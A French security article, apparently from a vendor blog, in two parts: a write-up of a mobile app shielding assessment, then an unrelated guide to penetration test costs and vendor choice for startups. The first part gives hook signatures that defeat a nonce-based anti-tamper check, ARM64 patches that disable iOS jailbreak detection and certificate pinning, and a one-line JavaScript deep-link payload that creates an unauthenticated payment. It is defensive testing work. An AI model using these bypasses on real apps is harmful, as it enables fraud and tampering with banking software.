y/b.java:192,228 rd.m13674(ctx, SecureRandom.nextInt())

Figure 3 : une méthode, huit sites d'appel

L'entier aléatoire n'est pas décoratif. C'est un nonce, et il sert à empêcher l'attaque la plus paresseuse. Si la méthode renvoyait simplement true ou 0 sur un appareil sain, un attaquant la hookerait pour qu'elle renvoie cette constante en permanence. Passer une nouvelle valeur aléatoire à chaque appel et exiger qu'elle soit renvoyée fait échouer un retour constant, car la réponse attendue change à chaque fois.

Cela n'aide pas ici. Un attaquant capable de hooker la méthode peut renvoyer l'argument qu'elle a reçu, et la comparaison réussit à chaque site.

Trois hooks, résolus par signature de type plutôt que par nom, car les noms sont en Unicode :

{"type":"hooked","method":"m13674","sig":"int(android.content.Context,int)"}
{"type":"hooked","method":"m13676","sig":"boolean(java.lang.Exception)"}
{"type":"hooked","method":"m13677","sig":"int(android.content.Context,int,int)"}
{"type":"alive","pid":6285,"ping":1} ... {"type":"alive","pid":6285,"ping":18}

Figure 4 : le contournement, reproduit

Deux minutes d'exécution, un processus stable, aucun crash, et le chemin anti-tampering ne se déclenche jamais.

La défaillance est architecturale plutôt que cryptographique. Le niveau natif a calculé un verdict correct. L'application a ensuite fait confiance à ce verdict sous la forme d'un unique entier modifiable, placé dans la partie la moins protégée du programme.

Comment prouver réellement un contournement du pinning

Le certificate pinning signifie que l'application ne s'appuie pas uniquement sur le magasin de confiance du système d'exploitation. Elle vérifie aussi que le certificat du serveur, ou la clé publique qu'il contient, correspond à une valeur embarquée dans l'application. Bien fait, il résiste à un attaquant qui installe sa propre autorité de certification racine sur l'appareil.

Mais le pinning est du code applicatif : hooker ou patcher la comparaison le met donc en échec.

La plupart des rapports le prouvent mal : le hook s'est chargé, le proxy a montré du trafic, l'application n'a pas crashé. Ces éléments sont compatibles avec un contournement, mais aussi avec plusieurs autres explications.

Le scan a plutôt mené une expérience contrôlée sur le vérificateur de certificats de l'application elle-même, construit via le propre constructeur de l'application et chargé avec sa propre liste de pins. Même certificat dans les deux cas, même objet, mêmes pins. La seule variable était l'activation ou non des hooks.

Même certificat, même vérificateur, mêmes pins	Sans le contournement	Avec le contournement
Comparaison du pin, premier pin	`false`	`true`
Comparaison du pin, second pin	`false`	`true`
Validation du certificat	rejeté, exception levée	accepté, aucune erreur

Une exécution rejette, l'autre accepte, tout le reste étant maintenu constant. C'est le niveau d'exigence à viser : non pas « l'outil a dit que ça a fonctionné », mais « la décision protégée a changé dans des conditions contrôlées ». Cela n'a en outre nécessité ni proxy ni trafic capturé, car le test pilote directement le code de pinning au lieu d'attendre que l'application établisse une connexion.

Sur iOS, personne ne vérifie le reçu

L'application iOS embarque un contrôle de jailbreak, deux implémentations de pinning indépendantes dans deux langages différents, un framework de protection de 35 Mo et plusieurs SDK tiers.

Elle ne vérifie jamais si son propre code a été modifié.

L'auto-vérification sur iOS consiste à interroger le système sur la signature de son propre code, via des API comme SecStaticCodeCheckValidity ou l'appel système csops, ou à hacher ses propres pages __TEXT et à comparer le résultat à une valeur attendue. Le scan a recherché toutes les formes standard de cette vérification dans les sept binaires liés à la protection :

main binary            36.8 MB    self-check: NONE
Flutter framework      19.6 MB    self-check: NONE
protection framework   35.0 MB    self-check: NONE
attribution SDK         0.6 MB    self-check: NONE
jailbreak detection     0.07 MB   self-check: NONE
fingerprinting SDK      0.9 MB    self-check: NONE
monitoring agent        5.9 MB    self-check: NONE

Un symbole manquant prouve peu de choses dans un binaire obfusqué, puisque les symboles peuvent être supprimés et les appels faits par numéro d'appel système brut. Le scan ne s'est donc pas arrêté là. Il a désassemblé le framework de protection et passé en revue les 1 761 sites où ce framework émet directement un appel système. Aucun n'interroge la signature du code.

Ce framework sait repérer un débogueur actif et une injection active. Il ne sait pas remarquer que ses propres octets ont changé.

Les octets ont donc été modifiés. Trois patches, de quelques instructions chacun :

Jailbreak check
  sub sp, sp, #0x40        ->   mov w0, #0 ; ret

Flutter TLS pinning
  ldrb w0, [sp, #8]        ->   mov w0, #1
  bic w8, w0, w0, asr#31   ->   mov w8, #1

Payment SDK pinning, four places
  mov w1, #2               ->   mov w1, #1

Dans la convention d'appel ARM64, w0 correspond aux 32 bits de poids faible de x0, le registre dans lequel une fonction renvoie sa valeur. mov w0, #0 suivi de ret est une fonction complète qui renvoie zéro, soit NO en Objective-C. Les huit octets qui remplacent le prologue de la vérification du jailbreak transforment donc toute la fonction en « pas de jailbreak », et rien de ce qui suit ne s'exécute jamais.

Les patches de pinning fonctionnent de la même manière, un niveau plus bas, en forçant le callback qui rapporte une décision de confiance à rapporter un succès.

Le troisième patch est le plus intéressant. Au lieu de forcer l'application à accepter un mauvais certificat, il a modifié les quatre sites où l'application en rejette un. Ces sites passaient 2 au gestionnaire de challenge, ce qui signifie annuler la connexion. Ils passent désormais 1, ce qui signifie revenir à l'évaluation normale du système. Le seul site qui accepte réellement un bon certificat a été laissé intact.

L'application cesse de refuser sans qu'on lui ait jamais dit d'accepter, ce qui garde son comportement plausible plutôt qu'évidemment cassé.

Les trois patches ont survécu au repackaging et à la re-signature sans aucune réaction de la part du moindre élément du bundle. C'est exactement ce que l'on prédirait d'une application qui ne vérifie jamais son propre reçu.

Le shielding n'est pas de l'autorisation

Une application de l'ensemble n'avait aucune faille de shielding digne d'être signalée, et pourtant une vulnérabilité critique.

Une Activity est un point d'entrée dans une application Android, à peu près un écran. Par défaut, elle est privée à l'application. La marquer exported="true" permet à d'autres applications de la lancer. Ajouter la catégorie BROWSABLE à son filtre d'intents permet à un navigateur web de la lancer, en suivant un lien avec le schéma personnalisé de l'application.

Cette activité était exportée, accessible depuis un navigateur, et n'effectuait aucune vérification d'authentification, de session ou d'appelant avant d'écrire dans le dépôt des transactions.

Toutes les données de l'application ayant été effacées, de sorte que personne n'était connecté, une seule ligne de JavaScript a suffi :

<script>
window.location.href = "app://quickpay?payee=BrowserAttacker&amount=200.00";
</script>

Le navigateur a lancé l'écran. La liste des transactions contenait ensuite six entrées, contre cinq dans la référence, avec le bénéficiaire et le montant de l'attaquant.

Aucun produit de shielding ne l'aurait détecté, car rien dans l'appareil n'était suspect. Le shielding augmente le coût d'une attaque sur un téléphone compromis. Il ne fait rien contre l'absence d'autorisation sur un téléphone sain, et il ne remplace pas les contrôles côté serveur sur la transaction elle-même.

Le schéma, dans chaque application

La technologie de détection n'était nulle part triviale. Code natif packé, code généré dans une mémoire fraîche plusieurs fois par seconde, appels système effectués en dessous de libc, chaînes qui n'existent jamais sous forme de texte, enregistrement JNI dynamique, analyse de la carte mémoire, hachage de signature, noms de méthodes en lettres grecques se faisant passer pour des lettres latines, et crashs conçus pour ne rien vous apprendre.

Les défaillances se situaient toutes une couche plus loin :

confiance accordée à des valeurs de propriétés qu'un attaquant privilégié peut réécrire
une seule fenêtre de démarrage qui décide de tout
huit sites d'enforcement lisant un seul entier modifiable
du code iOS patché sans aucune auto-vérification pour s'en apercevoir
une application qui a correctement détecté le root et n'a rien appliqué

Et la découverte la plus frappante n'était pas du tout un contournement. L'une de ces applications a été installée sur un téléphone rooté ordinaire, sans patch, sans hook et sans modification des propriétés. Elle est allée directement à son écran de connexion et y est restée. Le shielding a remarqué le root et l'a correctement signalé. L'application a poursuivi son exécution, parce que personne n'écoutait.

Un détecteur répond à : que voyons-nous ? Un contrôle répond à : que faisons-nous, et l'attaquant peut-il changer cette décision ? De nombreux déploiements sont solides sur le premier point et faibles sur le second.

Trois tests à exécuter sur votre propre application

Vérifiez la réponse, pas la détection. Ne demandez pas si l'application peut détecter le root. Installez-la sur un téléphone rooté et observez. Se termine-t-elle, restreint-elle les flux sensibles, bloque-t-elle l'authentification, ou se contente-t-elle de consigner et de continuer ? Si elle continue, vous avez acheté de la télémétrie, pas un contrôle.

Comptez les points d'enforcement. Tracez comment le verdict atteint le comportement. Existe-t-il une seule méthode qui décide de tout ? Un seul booléen ou entier qui porte toute la réponse ? Un hook peut-il le modifier ? L'enforcement a-t-il lieu à côté de l'action sensible, ou une seule fois au démarrage ?

Vérifiez l'intégrité de votre propre code, en particulier sur iOS. L'application interroge-t-elle sa propre signature de code ou hache-t-elle ses propres pages de texte ? Détecte-t-elle le repackaging et la re-signature ? Vérifie-t-elle le framework de protection lui-même ? Échoue-t-elle en mode fermé (fail closed) ? Sans cela, toutes les autres protections ne tiennent qu'à une instruction à inverser, et rien dans le bundle ne le remarquera.

Comment l'évaluation a été menée

Le shielding mobile est facile à mal juger. Un outil qui se charge n'est pas une preuve. Un crash qui disparaît n'en est pas toujours une. Un proxy qui montre du trafic n'est pas la preuve d'un contournement du pinning. La méthode compte autant que le résultat.

Une référence avant le contournement. Chaque application a d'abord été lancée sur un appareil sain, non rooté, sans rien d'attaché. Fonctionne-t-elle ? Meurt-elle ? Si elle meurt, qu'est-ce qui se déclenche en premier ? Cette réponse désigne le bouclier le plus externe et sert de référence pour toute affirmation ultérieure. Sans elle, impossible de distinguer une protection d'un bug.

Cartographier les deux couches. L'inspection des paquets, la décompilation et le désassemblage ont produit l'inventaire des détecteurs et les offsets ci-dessus, les huit sites d'enforcement et la méthode qui les alimente, les points de patch iOS et la logique de validation des certificats.

Adapter l'état de l'appareil à la question. Appareils sains pour les références, appareils rootés pour le root et les propriétés, appareils d'interception du trafic pour le pinning, lancement suspendu pour les vérifications qui se déclenchent avant qu'un attachement normal puisse les voir, et builds patchés et re-signés pour les tests d'altération sur iOS. Un seul état d'appareil ne peut pas répondre à toutes les questions.

Ne changer qu'une variable à la fois. La même application avant et après l'écriture des propriétés. Le même certificat avant et après les hooks de pinning. Le même processus avec un attachement précoce ou tardif. Le même binaire iOS avant et après le patch.

Exiger un effet de sécurité observable. Un résultat n'était retenu que si un effet pertinent pour la sécurité avait changé : l'application restait active là où elle s'était terminée, l'interface atteignait un état protégé, la décision sur le certificat basculait, le dépôt acceptait des entrées non authentifiées, ou le build patché s'exécutait sans être détecté. Le temps écoulé n'est jamais un critère de réussite, car « elle a tenu trente secondes » est un espoir, pas une observation.

Figure 5 : l'évaluation referme sa propre boucle

Chaque critère que l'évaluation s'était fixé, et ce qu'il a réellement donné.

FAQ

Qu'est-ce que le shielding des applications mobiles ?

Une protection intégrée à l'application pour rendre plus difficiles la rétro-ingénierie, l'altération, le débogage, le hooking et l'exécution dans des environnements hostiles. Elle regroupe généralement la détection du root et du jailbreak, la détection des émulateurs et des débogueurs, la détection des hooks, l'obfuscation, le packing, le certificate pinning et la logique anti-tampering.

Qu'est-ce que le RASP ?

Runtime Application Self-Protection (autoprotection des applications à l'exécution). Sur mobile, cela signifie que l'application surveille son propre environnement et réagit quand quelque chose semble anormal. Le mot important est réagit. Une détection sans réponse n'est que de la télémétrie.

Quelle est la différence entre détection et enforcement ?

La détection décide que l'environnement est hostile. L'enforcement décide quoi faire en conséquence. Une application peut détecter parfaitement et ne rien protéger, soit en ignorant la réponse, soit en l'exposant sous la forme d'une valeur unique que l'attaquant peut modifier.

Pourquoi Frida est-il détecté alors qu'un débogueur ne l'est pas ?

À cause de la manière dont il arrive, et non de ce qu'il fait. L'injection renseigne brièvement TracerPid et laisse un mapping exécutable étranger dans la carte mémoire du processus. Une application qui échantillonne ces deux éléments pendant le démarrage détecte l'injection avant que votre script ne s'exécute. Un débogueur qui s'attache après cette vérification ne laisse ni l'une ni l'autre de ces traces.

Pourquoi un seul hook a-t-il mis en échec huit protections à la fois ?

Parce que les huit sites d'enforcement lisent la valeur de retour d'une seule méthode. Centraliser le verdict est pratique à intégrer et simple à auditer, et cela signifie qu'un seul hook désactive tout.

La détection du root suffit-elle ?

Non. La détection du root est une entrée, pas un contrôle. L'application doit encore décider quoi en faire, et tenir compte des attaquants capables de masquer les indicateurs de root, de réécrire les propriétés, de hooker le détecteur ou de patcher l'application.

Le certificate pinning suffit-il ?

Non. Le pinning est implémenté dans le code de l'application : hooker ou patcher ce code le met donc en échec. Il vaut la peine d'être en place, mais ne doit pas être la seule protection d'une transaction sensible.

Le shielding peut-il empêcher les failles de logique métier ?

Non. Il peut détecter un environnement d'exécution hostile. Il ne remplace ni l'authentification, ni l'autorisation, ni la validation côté serveur, ni l'intégrité des transactions. Si un deep link non authentifié peut créer une transaction, le shielding n'est pas la défense pertinente.

Que doit vérifier en premier une équipe mobile ?

Installer l'application sur un téléphone rooté et voir si elle s'arrête. Ensuite, compter combien d'endroits lisent le verdict. Enfin, sur iOS, confirmer que le binaire vérifie sa propre signature. Ces trois réponses déterminent si le reste du budget sert à quelque chose.

Références

Guide 2026 du test d'intrusion pour les startups (coûts, processus et choix du prestataire)

2026-08-09T10:30:00+02:00

Les startups avancent vite. C'est une partie de leur avantage. Vous livrez des fonctionnalités, vous signez vos premiers clients et vous vous adaptez plus vite que les grandes entreprises.

La sécurité change cette équation. Non pas parce que chaque startup est sur le point d'être attaquée par un État, mais parce que la confiance devient une partie du produit dès que vous vendez à de plus grands clients. Les acheteurs en entreprise, les auditeurs, les investisseurs et les acquéreurs posent tous la même question de fond, sous des formes différentes : peut-on compter sur cette entreprise pour protéger ses systèmes et ses données ?

Un test d'intrusion récent réalisé par un tiers est une façon courante d'y répondre. Ce n'est pas une garantie de sécurité. Ce n'est pas un substitut à une bonne ingénierie. Mais c'est une preuve utile. Il montre que quelqu'un d'extérieur à l'entreprise a cherché de vraies faiblesses, a tenté de les valider et a documenté les résultats.

Pour beaucoup de startups, le premier test d'intrusion ne découle pas d'une feuille de route de sécurité interne. Il est déclenché par un contrat à signer, un audit SOC 2, une demande d'investisseur ou un questionnaire de sécurité fournisseur. Ce n'est pas un problème. La sécurité est souvent adoptée parce que les incitations l'imposent. La vraie question est de savoir si l'entreprise traite le test comme une case à cocher ou s'en sert pour améliorer son système.

Ce guide explique ce qu'est un test d'intrusion, ce qu'il coûte généralement en 2026, comment les startups peuvent en réaliser un sans désorganiser l'ingénierie, et comment choisir un prestataire sans confondre arguments marketing et résultats de sécurité.

Pourquoi les startups ont besoin de tests d'intrusion

Un test d'intrusion est souvent décrit comme une attaque simulée. C'est exact, mais incomplet.

Pour une startup, un test d'intrusion est aussi un mécanisme de confiance. Il donne aux acheteurs, aux auditeurs et aux investisseurs quelque chose de concret à évaluer. Il transforme une affirmation vague — « nous prenons la sécurité au sérieux » — en preuve : un périmètre, une méthodologie, des résultats, une remédiation et un nouveau test.

Le premier test est généralement déclenché par l'une de ces trois pressions.

Les ventes en entreprise. Les grands clients exigent souvent un rapport de test d'intrusion récent ou une lettre d'attestation avant d'approuver un fournisseur. Sans cela, le contrat n'échoue pas forcément, mais il peut rester des semaines ou des mois en attente d'achat ou de revue de sécurité.

La conformité et les audits. Des référentiels tels que SOC 2, ISO 27001, HIPAA, le RGPD et DORA attendent tous des organisations qu'elles identifient et gèrent les risques techniques. L'exigence exacte dépend du référentiel, de l'auditeur, du secteur et du périmètre du système. Mais un test d'intrusion crédible est couramment accepté comme preuve que l'entreprise a testé ses contrôles face à de véritables chemins d'attaque.

La due diligence des investisseurs et des acquéreurs. Les investisseurs et les acquéreurs sont de plus en plus conscients que les défaillances de sécurité peuvent devenir des passifs financiers. Une violation dissimulée, des contrôles d'accès faibles ou des vulnérabilités critiques non résolues peuvent affecter la valorisation, retarder un tour de financement ou compliquer une acquisition.

Aucune de ces raisons n'est purement technique. Elles concernent la confiance, le transfert de risque et la responsabilité.

Ce qu'est un test d'intrusion, et ce qu'il n'est pas

Un test d'intrusion est une tentative autorisée de trouver et de valider des faiblesses de sécurité dans une application, une API, un environnement cloud, une application mobile, un réseau ou un autre système.

Un bon test d'intrusion fait plus que lister des vulnérabilités. Il cherche à répondre à des questions pratiques :

Un attaquant peut-il accéder aux données d'un autre client ?
Un utilisateur normal peut-il devenir administrateur ?
L'authentification ou l'autorisation peut-elle être contournée ?
Des données sensibles peuvent-elles être extraites ?
Plusieurs problèmes de faible sévérité peuvent-ils être enchaînés pour aboutir à une compromission grave ?
Les contrôles du cloud, des API et de l'application fonctionnent-ils ensemble comme prévu ?

Cela compte, car les défaillances de sécurité sont souvent systémiques. Un simple contrôle manquant peut ne pas sembler grave isolément. Combiné à une mauvaise gestion des sessions, à des permissions excessives ou à une mauvaise isolation des tenants, il peut devenir critique.

Les startups choisissent généralement parmi trois modèles d'approvisionnement.

Catégorie d'approvisionnement	Fonctionnement	Idéal pour	Coût typique
Cabinets de conseil traditionnels	Des testeurs humains évaluent le système cible, tentent de l'exploiter et produisent un rapport formel.	Audits à un instant donné, logique métier complexe, environnements réglementés, due diligence de fusions-acquisitions.	15 000 à 40 000+ USD par test
Bug bounty et tests participatifs	Des chercheurs externes signalent des vulnérabilités, souvent via une plateforme gérée.	Équipes matures capables de trier, valider et gérer un flux continu de signalements.	Paiement par bug plus frais de plateforme
Plateformes de sécurité IA unifiées	Des systèmes automatisés et agentiques effectuent des scans continus et des workflows de test plus approfondis, souvent intégrés au CI/CD.	Startups qui ont besoin d'une couverture fréquente, de retours rapides et d'évaluations moins coûteuses.	À partir de 499 USD / évaluation ponctuelle

Chaque modèle a ses compromis. Les cabinets de conseil traditionnels peuvent apporter de la profondeur, mais ils sont chers et les délais de planification sont longs. Les programmes de bug bounty peuvent produire des résultats utiles, mais la couverture est inégale et la charge de tri est réelle. Les plateformes basées sur l'IA peuvent offrir rapidité et répétabilité, mais les acheteurs doivent demander précisément comment les vulnérabilités sont validées, comment la logique métier est testée et ce que les auditeurs accepteront.

Le bon choix dépend du risque que vous cherchez à réduire et de la preuve que vous devez produire.

Combien coûte un test d'intrusion pour une startup en 2026 ?

Les tarifs sont souvent opaques. C'est en partie parce que les périmètres varient, et en partie parce que les éditeurs de sécurité profitent de cette opacité.

Un test sur un simple site vitrine n'a rien à voir avec un test sur une plateforme SaaS multi-tenant avec contrôle d'accès basé sur les rôles, API, infrastructure cloud, SSO et données clients sensibles. Le nombre de rôles utilisateur, d'environnements, d'intégrations et de workflows peut modifier le coût de façon significative.

Les fondateurs doivent aussi distinguer le scan continu de vulnérabilités du test d'intrusion. Les deux sont utiles, mais ils jouent des rôles différents. Un scanner aide à détecter les vulnérabilités connues, les services exposés, les mauvaises configurations et les dépendances obsolètes. Un test d'intrusion cherche à valider si les faiblesses peuvent être exploitées en contexte.

Tarifs journaliers des consultants par région et estimations de périmètre

Région / marché	Tarif journalier moyen d'un consultant	Fourchette pour un pentest d'application web et d'API	Full stack : web + API + cloud
Amérique du Nord : États-Unis / Canada	2 000 à 3 500 USD / jour	8 000 à 25 000 USD	18 000 à 40 000 USD
Europe de l'Ouest et Royaume-Uni	1 200 à 2 200 EUR / jour / 1 000 à 1 800 GBP / jour	6 000 à 18 000 EUR / 5 000 à 15 000 GBP	15 000 à 35 000 EUR / 13 000 à 30 000 GBP
APAC et Amérique latine	600 à 1 500 USD / jour	3 000 à 10 000 USD	8 000 à 20 000 USD
Plateformes IA unifiées	Tarification fixe ou automatisée	À partir de 499 USD / test	Plans par paliers transparents

Coût typique selon le périmètre

Un test d'intrusion d'application web coûte généralement entre 3 000 et 18 000 USD, selon la complexité, la zone géographique et le type de prestataire.

Un test de sécurité d'API coûte généralement entre 3 000 et 15 000 USD pour une API REST ou GraphQL de complexité moyenne.

Une revue de configuration cloud pour AWS, GCP ou Azure coûte souvent entre 3 000 et 12 000 USD.

Une évaluation combinée web, API et cloud coûte généralement entre 8 000 et 35 000 USD auprès des cabinets de conseil régionaux.

Un point pratique est le nouveau test. Un rapport qui liste des vulnérabilités critiques ne suffit pas pour de nombreux audits ou revues en entreprise. Il vous faut la preuve que les problèmes ont été corrigés. Avant de signer un contrat, demandez si le nouveau test de remédiation est inclus. Si ce n'est pas le cas, prévoyez un budget supplémentaire de 30 % à 50 %.

Pourquoi les startups ne doivent pas retarder le test d'intrusion

L'argument habituel en faveur du test d'intrusion est qu'il aide à prévenir les violations de données. C'est vrai, mais incomplet. Les startups ont souvent besoin de tests d'intrusion parce que la sécurité est devenue une composante de la façon dont les décisions commerciales sont prises.

1. Les ventes en entreprise dépendent de preuves de confiance

Si vous vendez une plateforme SaaS B2B, votre client n'achète pas seulement un logiciel. Il prend une dépendance.

Ce client doit savoir si votre système peut protéger ses données, isoler les tenants, faire respecter les permissions et résister aux attaques courantes. Un test d'intrusion récent aide à répondre à ces questions. Il peut raccourcir la revue de sécurité, réduire les allers-retours avec les équipes achats et donner aux RSSI quelque chose de concret à évaluer.

Il n'élimine pas la revue de sécurité. Il lui donne un meilleur point de départ.

2. La conformité exige plus que des politiques

Les référentiels de conformité ne récompensent généralement pas les intentions vagues. Ils exigent des preuves.

SOC 2, ISO 27001, HIPAA, le RGPD et DORA abordent tous la sécurité différemment, mais ils partagent une hypothèse commune : les organisations doivent identifier les faiblesses techniques, évaluer les risques et agir.

Par exemple :

Les auditeurs SOC 2 Type II recherchent souvent des preuves d'évaluation des risques, de surveillance, de gestion des vulnérabilités et de fonctionnement des contrôles. Un test d'intrusion n'est pas toujours explicitement exigé, mais il est couramment utilisé comme preuve complémentaire.
Le contrôle ISO 27001 A.8.8 exige que les organisations gèrent les vulnérabilités techniques. Le scan continu et le test d'intrusion périodique sont des moyens courants de soutenir ce contrôle.
HIPAA et le RGPD exigent que les organisations évaluent et testent les mesures techniques qui protègent les données sensibles. Un test d'intrusion peut fournir une preuve pratique que les contrôles ont été examinés.
DORA exige que les entités financières mènent des tests de résilience opérationnelle numérique, avec des exigences plus avancées pour les systèmes critiques, y compris des tests d'intrusion fondés sur la menace dans certains cas.

L'objectif n'est pas de collecter des documents pour eux-mêmes. Il est de démontrer que les contrôles de sécurité existent, fonctionnent et sont testés.

3. Les investisseurs et les acquéreurs se soucient des risques cachés

Les problèmes de sécurité peuvent devenir des problèmes financiers.

Lors d'une due diligence de financement ou d'acquisition, les investisseurs peuvent demander des rapports de tests d'intrusion récents, des registres de gestion des vulnérabilités, des preuves de sécurité du cloud et l'historique des incidents. Une startup incapable de produire des preuves de sécurité élémentaires peut paraître immature sur le plan opérationnel, même si le produit est solide.

C'est d'autant plus vrai pour les entreprises qui traitent des données de paiement, de santé, d'identité, des dossiers financiers, du code source ou des données de clients en entreprise.

4. Les violations consomment la trésorerie

Le coût direct de la correction d'une vulnérabilité est souvent faible comparé au coût de sa découverte après un incident.

Une violation peut impliquer des contrats de réponse à incident, des conseils juridiques, des notifications aux clients, des enquêtes réglementaires, des investigations forensiques, des litiges d'assurance, des contrats perdus et une atteinte à la réputation. La réponse à incident peut exiger 50 000 USD ou plus dès le départ, avant même que l'impact complet sur l'activité ne soit connu.

Un test d'intrusion n'est pas une assurance contre l'échec. Mais c'est un moyen relativement peu coûteux de trouver certaines classes de défaillances avant qu'un attaquant ou un client ne le fasse.

Le processus de test d'intrusion

Un test d'intrusion fonctionne mieux lorsque la startup se prépare correctement. Un mauvais cadrage fait perdre de l'argent. Un mauvais accès retarde les tests. Une mauvaise remédiation transforme le rapport en shelfware.

Un processus pratique comporte cinq étapes.

1. Cadrage et préparation

La première étape consiste à définir ce qui est dans le périmètre. Cela comprend les domaines, les applications, les API, les comptes cloud, les applications mobiles, les rôles utilisateur, les environnements, les identifiants de test et les exclusions.

Pour la plupart des startups, un test en boîte grise est généralement le meilleur usage du budget. Donnez aux testeurs des identifiants pour des rôles utilisateur réalistes, notamment des utilisateurs normaux, des administrateurs et tout rôle propre à un tenant. Cela leur permet de se concentrer sur l'autorisation, l'accès aux données, l'élévation de privilèges et la logique métier plutôt que de perdre du temps sur la découverte de base.

Si possible, réalisez le test dans un environnement de préproduction qui reflète fidèlement la production. Utilisez des données anonymisées ou synthétiques. L'environnement doit être assez réaliste pour des résultats significatifs, mais assez sûr pour des tests agressifs.

2. Découverte et identification des vulnérabilités

Le testeur ou le système de test cartographie la surface d'attaque, identifie les points d'entrée, examine les workflows et recherche des faiblesses.

Cela peut comprendre des tests d'authentification, des tests d'autorisation, l'énumération d'API, des contrôles de validation des entrées, la revue des mauvaises configurations cloud, l'analyse des dépendances, la revue de la gestion des sessions et des tests de logique métier.

La distinction importante est entre trouver un problème possible et en prouver un réel.

3. Exploitation et validation

Une vulnérabilité utile a besoin de preuves.

Si un testeur affirme qu'un accès entre tenants est possible, le rapport doit montrer comment il a été reproduit. Si une faille d'autorisation d'API existe, les preuves doivent inclure le endpoint concerné, la requête, la réponse, le rôle utilisé et l'impact. Si une mauvaise configuration cloud expose des données sensibles, le rapport doit expliquer ce qui était accessible et dans quelles conditions.

Les faux positifs coûtent cher. Ils font perdre du temps d'ingénierie et réduisent la confiance dans le processus. Un bon test d'intrusion inclut une validation contradictoire : la vulnérabilité doit être remise en question avant d'être signalée.

4. Rapport et restitution

Le rapport final doit être rédigé à la fois pour les ingénieurs et pour les décideurs.

Les ingénieurs ont besoin d'étapes de reproduction, des composants concernés, de payloads, de captures d'écran, de traces HTTP, de la sévérité et de recommandations de remédiation. Les dirigeants et les auditeurs ont besoin d'une synthèse du périmètre, de la méthodologie, du risque, de l'état de la remédiation et de l'exposition résiduelle.

Un bon rapport ne doit pas se contenter de dire « vulnérabilité critique trouvée ». Il doit expliquer pourquoi le problème est important et ce qui se passerait si un attaquant l'exploitait.

5. Remédiation et nouveau test

Le test n'est pas terminé lorsque le rapport est livré. Il l'est lorsque les vulnérabilités graves sont corrigées et vérifiées.

Le nouveau test doit confirmer que les vulnérabilités concernées ont été corrigées sans introduire de régressions évidentes. Pour la conformité et les ventes en entreprise, cette étape compte souvent autant que le test initial, car elle permet une attestation plus nette.

Comment choisir le bon partenaire de test d'intrusion

Le marché de la sécurité compte des experts qualifiés, des plateformes utiles, des scanners génériques et beaucoup de marketing. Les startups doivent évaluer les prestataires sur des preuves, pas sur des adjectifs.

Les questions les plus importantes sont simples :

Que sera-t-il testé exactement ?
Qui ou quoi réalise les tests ?
Comment les vulnérabilités sont-elles validées ?
Quelles preuves figurent dans le rapport ?
Le nouveau test est-il inclus ?
Le rapport satisfera-t-il l'acheteur, l'auditeur ou l'investisseur qui l'a demandé ?
À quelle vitesse les tests peuvent-ils commencer ?
Quel sera l'impact du processus sur l'ingénierie ?

La plupart des prestataires entrent dans trois catégories.

1. Cabinets de conseil traditionnels

Parmi les exemples, on trouve des sociétés comme Bishop Fox et NCC Group.

Le principal avantage est la profondeur. Des testeurs humains expérimentés comprennent la logique métier complexe, les architectures inhabituelles et les défaillances d'autorisation subtiles. Pour les environnements réglementés, les systèmes de grande valeur ou la due diligence de fusions-acquisitions, cela peut valoir le coût.

Le compromis porte sur la rapidité et le prix. La planification peut prendre des semaines ou des mois. Les rapports peuvent arriver alors que le produit a déjà changé. Pour une startup qui évolue vite, une évaluation à un instant donné peut devenir obsolète rapidement.

Le conseil traditionnel est souvent la bonne réponse lorsque le système est complexe, que l'exigence de preuve est stricte ou que l'acheteur attend un cabinet indépendant reconnu.

2. Bug bounty et sécurité participative

Parmi les exemples, on trouve des plateformes comme HackerOne et Bugcrowd.

L'avantage est la diversité. De nombreux chercheurs peuvent examiner le système sous différents angles, et un programme mature peut produire des résultats précieux dans la durée.

Le compromis porte sur le contrôle. La couverture est inégale. Les chercheurs peuvent se concentrer sur les problèmes plus faciles à trouver ou plus susceptibles d'être rémunérés. La logique métier complexe, les tests d'autorisation fastidieux et les problèmes de configuration peu glamour peuvent recevoir moins d'attention. Un programme de bug bounty exige aussi une maturité interne : tri, validation, communication avec les chercheurs, gestion des doublons et suivi de la remédiation.

Les programmes de bug bounty sont généralement plus pertinents une fois que l'entreprise a déjà mis en place un processus de sécurité de base.

3. Plateformes de sécurité IA unifiées

Parmi les exemples, on trouve Ostorlab.

L'avantage est la rapidité, la répétabilité et l'intégration. Une plateforme peut exécuter des contrôles fréquents, s'intégrer au CI/CD et fournir un retour rapide lorsque du nouveau code ou de nouvelles infrastructures introduisent un risque.

Il existe généralement deux modes utiles :

Le scan continu offre une visibilité permanente sur les vulnérabilités connues, les bibliothèques obsolètes, les services exposés, les mauvaises configurations et les faiblesses courantes. C'est l'hygiène quotidienne. Il aide les équipes à détecter les problèmes tôt.

Les tests approfondis autonomes cherchent à aller plus loin en testant les workflows, l'authentification, l'autorisation, le comportement des API et la logique métier. Des modèles cyber IA qui se comportent comme des hackers humains experts peuvent parcourir des applications complexes, formuler des hypothèses, valider des résultats et produire des preuves structurées.

Ce modèle peut être particulièrement utile aux startups qui ont besoin de retours rapides et de tests fréquents sans gros budget de conseil. Il peut aussi soutenir les workflows d'ingénierie lorsqu'il est intégré aux pipelines de développement via des systèmes tels que les intégrations GitHub.

Le compromis est que les acheteurs doivent examiner attentivement les preuves. Toutes les plateformes automatisées ne réalisent pas de véritables tests d'intrusion. Certaines sont des scanners de vulnérabilités dotés d'une meilleure image de marque. Demandez comment la plateforme valide les vulnérabilités, gère l'authentification, teste la logique métier, réduit les faux positifs et produit des preuves prêtes pour l'audit. Vérifiez aussi que votre auditeur ou votre client acceptera le rapport pour la revue précise que vous devez réussir.

Voici la question centrale à poser à tout prestataire :

Comment prouvez-vous qu'une vulnérabilité est réelle, exploitable et pertinente pour notre système ?

Si la réponse est vague, le résultat ne vaut peut-être pas grand-chose.

Tests en boîte noire, en boîte grise et en boîte blanche

Les tests d'intrusion sont souvent décrits selon la quantité d'informations dont dispose le testeur.

Le test en boîte noire donne au testeur peu ou pas de connaissances préalables. Il simule un attaquant externe, mais peut faire perdre du temps en découverte. Pour les startups au budget limité, ce n'est souvent pas le meilleur premier choix.

Le test en boîte grise donne au testeur certaines informations, comme des comptes utilisateur, des rôles, la documentation des API et l'architecture de base. Il offre généralement le meilleur rendement pour les startups SaaS, car il permet aux testeurs de se concentrer sur des chemins d'attaque réalistes : élévation de privilèges, isolation des tenants, contrôle d'accès défaillant et workflows sensibles.

Le test en boîte blanche donne au testeur un accès plus profond, comme le code source, les schémas d'architecture, les détails d'infrastructure et les documents de conception. Il peut offrir une profondeur maximale, en particulier pour les systèmes à haut risque, mais il demande plus de coordination.

